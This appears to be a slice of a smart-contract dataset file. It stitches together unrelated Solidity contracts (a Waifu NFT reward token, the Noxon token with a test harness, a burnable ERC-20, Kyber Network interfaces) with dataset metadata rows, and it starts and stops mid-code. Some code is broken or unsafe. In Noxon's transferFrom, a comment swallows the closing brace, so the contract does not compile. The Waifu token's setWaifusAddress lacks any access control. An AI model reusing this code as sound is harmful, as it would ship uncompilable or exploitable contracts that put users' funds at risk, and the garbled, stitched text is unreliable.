require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burn(uint256 burnQuantity) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IWaifus is IERC721Enumerable {
function isMintedBeforeReveal(uint256 index) external view returns (bool);
}
contract WaifuEnhancementToken is Context, IERC20 {
using SafeMath for uint256;
// Constants
uint256 public SECONDS_IN_A_DAY = 86400;
uint256 public constant INITIAL_ALLOTMENT = 1830 * (10 ** 18);
uint256 public constant PRE_REVEAL_MULTIPLIER = 1;
// Public variables
uint256 public emissionStart;
uint256 public emissionEnd;
uint256 public emissionPerDay = 10 * (10 ** 18);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(uint256 => uint256) private _lastClaim;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _waifusAddress;
constructor (string memory name, string memory symbol, uint256 emissionStartTimestamp) {
_name = name;
_symbol = symbol;
_decimals = 18;
emissionStart = emissionStartTimestamp;
emissionEnd = emissionStartTimestamp + (86400 * 365 * 10);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function lastClaim(uint256 tokenIndex) public view returns (uint256) {
require(IWaifus(_waifusAddress).ownerOf(tokenIndex) != address(0), "Owner cannot be 0 address");
require(tokenIndex < IWaifus(_waifusAddress).totalSupply(), "NFT at index has not been minted yet");
uint256 lastClaimed = uint256(_lastClaim[tokenIndex]) != 0 ? uint256(_lastClaim[tokenIndex]) : emissionStart;
return lastClaimed;
}
function accumulated(uint256 tokenIndex) public view returns (uint256) {
require(block.timestamp > emissionStart, "Emission has not started yet");
require(IWaifus(_waifusAddress).ownerOf(tokenIndex) != address(0), "Owner cannot be 0 address");
require(tokenIndex < IWaifus(_waifusAddress).totalSupply(), "NFT at index has not been minted yet");
uint256 lastClaimed = lastClaim(tokenIndex);
// Sanity check if last claim was on or after emission end
if (lastClaimed >= emissionEnd) return 0;
uint256 accumulationPeriod = block.timestamp < emissionEnd ? block.timestamp : emissionEnd; // Getting the min value of both
uint256 totalAccumulated = accumulationPeriod.sub(lastClaimed).mul(emissionPerDay).div(SECONDS_IN_A_DAY);
if (lastClaimed == emissionStart) {
uint256 initialAllotment = IWaifus(_waifusAddress).isMintedBeforeReveal(tokenIndex) == true ? INITIAL_ALLOTMENT.mul(PRE_REVEAL_MULTIPLIER) : INITIAL_ALLOTMENT;
totalAccumulated = totalAccumulated.add(initialAllotment);
}
return totalAccumulated;
}
function setWaifusAddress(address waifusAddress) public {
require(_waifusAddress == address(0), "Already set");
_waifusAddress = waifusAddress;
}
function claim(uint256[] memory tokenIndices) public returns (uint256) {
require(block.timestamp > emissionStart, "Emission has not started yet");
uint256 totalClaimQty = 0;
for (uint i = 0; i < tokenIndices.length; i++) {
// Sanity check for non-minted index
require(tokenIndices[i] < IWaifus(_waifusAddress).totalSupply(), "NFT at index has not been minted yet");
// Duplicate token index check
for (uint j = i + 1; j < tokenIndices.length; j++) {
require(tokenIndices[i] != tokenIndices[j], "Duplicate token index");
}
uint tokenIndex = tokenIndices[i];
require(IWaifus(_waifusAddress).ownerOf(tokenIndex) == msg.sender, "Sender is not the owner");
uint256 claimQty = accumulated(tokenIndex);
if (claimQty != 0) {
totalClaimQty = totalClaimQty.add(claimQty);
_lastClaim[tokenIndex] = block.timestamp;
}
}
require(totalClaimQty != 0, "No accumulated NCT");
_mint(msg.sender, totalClaimQty);
return totalClaimQty;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
// Approval check is skipped if the caller of transferFrom is the Waifus contract. For better UX.
if (msg.sender != _waifusAddress) {
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
// ++
function burn(uint256 burnQuantity) public virtual override returns (bool) {
_burn(msg.sender, burnQuantity);
return true;
}
// ++
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 251,785 | 11,246 |
151a36facbf3e969c146e10ccac319bf688851a1c3d14d72d7fabb9a4f866b39
| 10,911 |
.sol
|
Solidity
| true |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x9e4ad79049282f942c1b4c9b418f0357a0637017.sol
| 3,075 | 10,162 |
pragma solidity ^ 0.4.17;
// ----------------------------------------------------------------------------
// Safe maths from OpenZeppelin
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns(uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/issues/20
contract ERC20Interface {
function totalSupply() public constant returns(uint256 totalSupplyReturn);
function balanceOf(address _owner) public constant returns(uint256 balance);
function transfer(address _to, uint256 _value) public returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success);
function approve(address _spender, uint256 _value) public returns(bool success);
function allowance(address _owner, address _spender) public constant returns(uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Noxon is ERC20Interface {
using SafeMath for uint;
string public constant symbol = "NOXON";
string public constant name = "NOXON";
uint8 public constant decimals = 0; //warning! dividing rounds down, the remainder of the division is the profit of the contract
uint256 _totalSupply = 0;
uint256 _burnPrice;
uint256 _emissionPrice;
uint256 initialized;
bool public emissionlocked = false;
// Owner of this contract
address public owner;
address public manager;
// Balances for each account
mapping(address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping(address => uint256)) allowed;
// Functions with this modifier can only be executed by the owner
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address newOwner;
address newManager;
// BK Ok - Only owner can assign new proposed owner
function changeOwner(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
// BK Ok - Only new proposed owner can accept ownership
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
newOwner = address(0);
}
}
function changeManager(address _newManager) public onlyOwner {
newManager = _newManager;
}
function acceptManagership() public {
if (msg.sender == newManager) {
manager = newManager;
newManager = address(0);
}
}
// Constructor
function Noxon() public {
require(_totalSupply == 0);
owner = msg.sender;
manager = owner;
}
function NoxonInit() public payable onlyOwner returns (bool) {
require(_totalSupply == 0);
require(initialized == 0);
require(msg.value > 0);
Transfer(0, msg.sender, 1);
balances[owner] = 1; //owner got 1 token
_totalSupply = balances[owner];
_burnPrice = msg.value;
_emissionPrice = _burnPrice.mul(2);
initialized = block.timestamp;
return true;
}
//The owner can turn off accepting new ether
function lockEmission() public onlyOwner {
emissionlocked = true;
}
function unlockEmission() public onlyOwner {
emissionlocked = false;
}
function totalSupply() public constant returns(uint256) {
return _totalSupply;
}
function burnPrice() public constant returns(uint256) {
return _burnPrice;
}
function emissionPrice() public constant returns(uint256) {
return _emissionPrice;
}
// What is the balance of a particular account?
function balanceOf(address _owner) public constant returns(uint256 balance) {
return balances[_owner];
}
// Transfer the balance from owner's account to another account
function transfer(address _to, uint256 _amount) public returns(bool success) {
if (_to == address(this)) {
return burnTokens(_amount);
} else {
if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
}
function burnTokens(uint256 _amount) private returns(bool success) {
_burnPrice = getBurnPrice();
uint256 _burnPriceTmp = _burnPrice;
if (balances[msg.sender] >= _amount && _amount > 0) {
// subtracts the amount from seller's balance and suply
balances[msg.sender] = balances[msg.sender].sub(_amount);
_totalSupply = _totalSupply.sub(_amount);
//do not allow sell last share (fear of dividing by zero)
assert(_totalSupply >= 1);
// sends ether to the seller
msg.sender.transfer(_amount.mul(_burnPrice));
//check new burn price
_burnPrice = getBurnPrice();
//only growth required
assert(_burnPrice >= _burnPriceTmp);
//send event
TokenBurned(msg.sender, _amount.mul(_burnPrice), _burnPrice, _amount);
return true;
} else {
return false;
}
}
event TokenBought(address indexed buyer, uint256 ethers, uint _emissionedPrice, uint amountOfTokens);
event TokenBurned(address indexed buyer, uint256 ethers, uint _burnedPrice, uint amountOfTokens);
function () public payable {
//buy tokens
//save tmp for double check in the end of function
//_burnPrice never changes when someone buy tokens
uint256 _burnPriceTmp = _burnPrice;
require(emissionlocked == false);
require(_burnPrice > 0 && _emissionPrice > _burnPrice);
require(msg.value > 0);
// calculate the amount
uint256 amount = msg.value / _emissionPrice;
//check overflow
require(balances[msg.sender] + amount > balances[msg.sender]);
// adds the amount to buyer's balance
balances[msg.sender] = balances[msg.sender].add(amount);
_totalSupply = _totalSupply.add(amount);
uint mg = msg.value / 2;
//send 50% to manager
manager.transfer(mg);
TokenBought(msg.sender, msg.value, _emissionPrice, amount);
//are prices unchanged?
_burnPrice = getBurnPrice();
_emissionPrice = _burnPrice.mul(2);
//"only growth"
assert(_burnPrice >= _burnPriceTmp);
}
function getBurnPrice() public returns(uint) {
return this.balance / _totalSupply;
}
event EtherReserved(uint etherReserved);
//add Ether to reserve fund without issue new tokens (prices will growth)
function addToReserve() public payable returns(bool) {
uint256 _burnPriceTmp = _burnPrice;
if (msg.value > 0) {
_burnPrice = getBurnPrice();
_emissionPrice = _burnPrice.mul(2);
EtherReserved(msg.value);
//"only growth" check
assert(_burnPrice >= _burnPriceTmp);
return true;
} else {
return false;
}
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(address _from,
address _to,
uint256 _amount) public returns(bool success) {
if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to] && _to != address(this) //not allow burn tockens from exhanges) {
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount) public returns(bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function transferAnyERC20Token(address tokenAddress, uint amount)
public
onlyOwner returns(bool success) {
return ERC20Interface(tokenAddress).transfer(owner, amount);
}
function burnAll() external returns(bool) {
return burnTokens(balances[msg.sender]);
}
}
contract TestProcess {
Noxon main;
function TestProcess() payable {
main = new Noxon();
}
function () payable {
}
function init() returns (uint) {
if (!main.NoxonInit.value(12)()) throw; //init and set burn price as 12 and emission price to 24
if (!main.call.value(24)()) revert(); //buy 1 token
assert(main.balanceOf(address(this)) == 2);
if (main.call.value(23)()) revert(); //send small amount (must be twhrowed)
assert(main.balanceOf(address(this)) == 2);
}
function test1() returns (uint) {
if (!main.call.value(26)()) revert(); //check floor round (26/24 must issue 1 token)
assert(main.balanceOf(address(this)) == 3);
assert(main.emissionPrice() == 24); //24.6 but round floor
return main.balance;
}
function test2() returns (uint){
if (!main.call.value(40)()) revert(); //check floor round (40/24 must issue 1 token)
assert(main.balanceOf(address(this)) == 4);
//assert(main.emissionPrice() == 28);
//return main.burnPrice();
}
function test3() {
if (!main.transfer(address(main),2)) revert();
assert(main.burnPrice() == 14);
}
}
| 184,479 | 11,247 |
9f75ca0a327e4c047a49fb044ceb8dcc11890febf3a0e52af238b54079bae5c7
| 10,030 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ba/ba34375e8289a29f3c1be68d41f7282384cff73f_ST_Burnable_Token.sol
| 2,391 | 9,709 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IST20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface STPayable {
function pay(string memory serviceName) external payable;
}
abstract contract TokenGenerator {
constructor (address payable receiver, string memory serviceName) payable {
STPayable(receiver).pay{value: msg.value}(serviceName);
}
}
contract ST_Burnable_Token is Ownable, IST20, TokenGenerator {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _decimals;
constructor (string memory name, string memory symbol, uint256 decimals, uint256 supply, address payable feeReceiver) TokenGenerator(feeReceiver, "ST_Burnable_Token") payable public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = supply;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint256) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IST20: approve from the zero address");
require(spender != address(0), "IST20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "IST20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "IST20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
// ------------------------------------------------------------------------
// Function to Burn Tokens.
// ------------------------------------------------------------------------
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "IST20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "IST20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "IST20: transfer from the zero address");
require(recipient != address(0), "IST20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "IST20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "IST20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
// ------------------------------------------------------------------------
// Function to Withdraw Tokens sent by mistake to the Token Contract Address.
// Only the Contract owner can withdraw the Tokens.
// ------------------------------------------------------------------------
function WithdrawTokens(address tokenAddress, uint256 tokenAmount) public virtual onlyOwner {
IST20(tokenAddress).transfer(owner(), tokenAmount);
}
}
| 92,872 | 11,248 |
159779e2eb03fcebed3f60563da37618c59a5cd1607ba2ffcbca367a8d46452b
| 20,697 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x3257073d3b80bae378db8dea32519938910d05cc.sol
| 4,606 | 19,410 |
pragma solidity 0.4.18;
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/KyberNetworkInterface.sol
/// @title Kyber Network interface
interface KyberNetworkInterface {
function maxGasPrice() public view returns(uint);
function getUserCapInWei(address user) public view returns(uint);
function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint);
function enabled() public view returns(bool);
function info(bytes32 id) public view returns(uint);
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
function tradeWithHint(address trader, ERC20 src, uint srcAmount, ERC20 dest, address destAddress,
uint maxDestAmount, uint minConversionRate, address walletId, bytes hint) public payable returns(uint);
}
// File: contracts/KyberNetworkProxyInterface.sol
/// @title Kyber Network interface
interface KyberNetworkProxyInterface {
function maxGasPrice() public view returns(uint);
function getUserCapInWei(address user) public view returns(uint);
function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint);
function enabled() public view returns(bool);
function info(bytes32 id) public view returns(uint);
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
function tradeWithHint(ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount,
uint minConversionRate, address walletId, bytes hint) public payable returns(uint);
}
// File: contracts/SimpleNetworkInterface.sol
/// @title simple interface for Kyber Network
interface SimpleNetworkInterface {
function swapTokenToToken(ERC20 src, uint srcAmount, ERC20 dest, uint minConversionRate) public returns(uint);
function swapEtherToToken(ERC20 token, uint minConversionRate) public payable returns(uint);
function swapTokenToEther(ERC20 token, uint srcAmount, uint minConversionRate) public returns(uint);
}
// File: contracts/Utils.sol
/// @title Kyber constants contract
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
// File: contracts/Utils2.sol
contract Utils2 is Utils {
/// @dev get the balance of a user.
/// @param token The token type
/// @return The balance
function getBalance(ERC20 token, address user) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return user.balance;
else
return token.balanceOf(user);
}
function getDecimalsSafe(ERC20 token) internal returns(uint) {
if (decimals[token] == 0) {
setDecimals(token);
}
return decimals[token];
}
/// @dev notice, overrides previous implementation.
function setDecimals(ERC20 token) internal {
uint decimal;
if (token == ETH_TOKEN_ADDRESS) {
decimal = ETH_DECIMALS;
} else {
if (!address(token).call(bytes4(keccak256("decimals()")))) {
//above code can only be performed with low level call. otherwise all operation will revert.
// call failed
decimal = 18;
} else {
decimal = token.decimals();
}
}
decimals[token] = decimal;
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns(uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
